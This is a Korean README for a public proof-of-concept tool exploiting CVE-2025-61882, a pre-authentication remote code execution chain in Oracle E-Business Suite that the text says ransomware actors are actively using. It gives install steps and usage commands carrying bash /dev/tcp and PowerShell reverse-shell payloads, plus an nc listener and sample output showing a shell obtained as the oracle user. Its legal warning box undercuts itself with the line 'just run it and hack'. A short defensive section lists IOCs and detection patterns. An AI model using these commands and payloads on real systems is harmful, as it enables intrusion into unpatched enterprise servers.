CVE-2025-61882 보안 테스트 도구

🚨 중요 법적 경고

기술적 세부사항은 블로그 게시물을 참조하세요

이 도구는 승인된 보안 테스트 전용입니다

╔══════════════════════════════════════════════════════════════╗
║                                                              ║
║  🚨 컴퓨터 시스템에 대한 무단 접근은 불법입니다 🚨          ║
║                                                              ║
║  이 도구를 사용함으로써 귀하는 다음 사항을 인정하고 동의합니다: ║
║                                                              ║
║                                                              ║
║              그냥 실행하고 해킹하세요                         ║
║                                                              ║
║                                                              ║
║                                                              ║
║                                                              ║
║                                                              ║
╚══════════════════════════════════════════════════════════════╝

📋 개요

CVE-2025-61882에 대한 보안 테스트 도구로, Oracle E-Business Suite에 영향을 미치는 중요한 사전 인증 원격 코드 실행 취약점입니다.

제작: Mindflare

취약점 세부 정보

CVE ID: CVE-2025-61882
CVSS Score: 9.8 (심각)
Attack Vector: 네트워크 (인증 없음)
Attack Complexity: 중간
Privileges Required: 없음
User Interaction: 없음
Affected Versions: Oracle E-Business Suite 12.2.3 - 12.2.14
Patch Status: 2025년 10월 4일 긴급 패치 출시
Exploitation Status: ⚠️ 2025년 8월부터 Cl0p 랜섬웨어에 의해 적극적으로 악용 중

기술 요약

CVE-2025-61882는 다섯 가지 개별 취약점을 결합한 정교한 익스플로잇 체인입니다:

SSRF - /OA_HTML/configurator/UiServlet를 통한 서버 측 요청 위조
CRLF Injection - return_url 매개변수의 HTTP 헤더 인젝션
HTTP Smuggling - 내부 서비스(포트 7201)에 도달하기 위한 Keep-alive 연결 남용
Authentication Bypass - /OA_HTML/help/../ 접두사를 통한 인증 우회
XSLT Injection - 악성 XSL 템플릿 처리로 RCE 유발

🎯 의도된 사용 사례

✅ 허용되는 사용

서면 허가를 받은 승인된 침투 테스트
소유한 시스템에 대한 보안 연구
통제된 실험실 환경에서의 취약점 검증
적절한 범위 문서화를 포함한 레드 팀 연습
기관 승인을 받은 학술 연구
침해 대응 및 포렌식 분석

❌ 금지된 사용

모든 무단 시스템 접근
명시적인 서면 허가 없이 시스템 테스트
악의적인 활동 또는 피해 유발
승인 없이 프로덕션 시스템 공격
범죄 목적 사용
관련 법률을 위반하는 모든 활동

📦 설치

전제 조건

Python 3.7 이상
pip 패키지 관리자
대상에 대한 네트워크 연결 (승인된 경우에만)
리버스 셸 수신을 위한 Netcat 또는 유사 리스너

설정

# 저장소 복제
git clone https://github.com/[YOUR-USERNAME]/CVE-2025-61882-POC
cd CVE-2025-61882-POC

# 종속성 설치
pip3 install -r requirements.txt

# 스크립트 실행 가능하게 설정 (Linux/Mac)
chmod +x cve-2025-61882-detector.py

🚀 사용법

1단계: 리스너 설정

별도의 터미널에서 netcat 리스너를 시작하세요:

# Linux/Mac
nc -lvnp 4444

# Windows
nc.exe -lvnp 4444

2단계: 도구 실행

기본 사용법 (Linux 대상):

python3 cve-2025-61882-detector.py \
  --target http://192.168.1.22:8000 \
  --lhost 192.168.1.10 \
  --lport 80 \
  --command 'bash -i >& /dev/tcp/192.168.1.10/4444 0>&1' \
  --platform linux

Windows 대상:

python3 cve-2025-61882-detector.py \
  --target http://192.168.1.22:8000 \
  --lhost 192.168.1.10 \
  --lport 80 \
  --command 'powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient(\"192.168.1.10\",4444)"' \
  --platform windows

매개변수

📊 예시 출력

도구 출력

[*] Target URL:    http://192.168.1.22:8000
[*] Listener IP:   192.168.1.10
[*] Listener Port: 80
[*] Platform:      linux

[*] HTTP server started on 192.168.1.10:80
[*] Connecting to target to retrieve CSRF token...
[*] CSRF TOKEN: WLDW-GNFH-MB4K-76EA-JB48-VY3X-L30R-NZT0
[*] Cooking HTTP smuggle stub...
[*] Sending exploit payload...
[*] Exploit payload sent successfully

[+] 192.168.1.22 - GET /OA_HTML/help/../ieshostedsurvey.xsl HTTP/1.1
[+] XSL payload served successfully

Netcat 리스너 출력 (취약한 경우)

ubuntu@attacker:~$ nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on 192.168.1.22 30290
bash: no job control in this shell
[oracle@apps EBS_domain]$ id
uid=54321(oracle) gid=54321(oinstall) groups=54321(oinstall)
[oracle@apps EBS_domain]$

🛡️ 탐지 및 방어

보안 담당자를 위한

즉시 조치

Oracle 긴급 패치 적용 (문서 ID: 30061882.1)

침해 흔적 탐색:

SELECT * FROM XDO_TEMPLATES_B 
WHERE TEMPLATE_CODE LIKE 'TMP%' OR TEMPLATE_CODE LIKE 'DEF%';

2025년 8월 이후의 접근 로그 검토
EBS 서버에서 외부 인터넷 차단

탐지 지표

네트워크 IOC:

200.107.207.26 (Cl0p C2)
161.97.99.49 (Secondary)

HTTP 패턴:

POST /OA_HTML/configurator/UiServlet
POST /OA_HTML/SyncServlet
GET /OA_HTML/help/../*.jsp
CRLF characters in parameters

📚 참고 자료

📜 라이선스

교육용 사용 제한이 있는 MIT 라이선스 - LICENSE 참조

면책 조항: 이 소프트웨어는 승인된 보안 테스트 전용입니다. 컴퓨터 시스템에 대한 무단 접근은 불법입니다. 저자는 오용에 대한 책임을 지지 않습니다.

제작: Mindflare | 최종 업데이트: 2025년 10월

`--target`	대상 Oracle EBS URL	예	`http://192.168.1.22:8000`
`--lhost`	사용자 IP 주소 (콜백용)	예	`192.168.1.10`
`--lport`	HTTP 서버 포트 (XSL 페이로드 제공)	예	`80` 또는 `8080`
`--command`	대상에서 실행할 명령어	예	위 예시 참조
`--platform`	대상 OS: `linux` 또는 `windows`	예	`linux`

CVE-2025-61882-POC

인기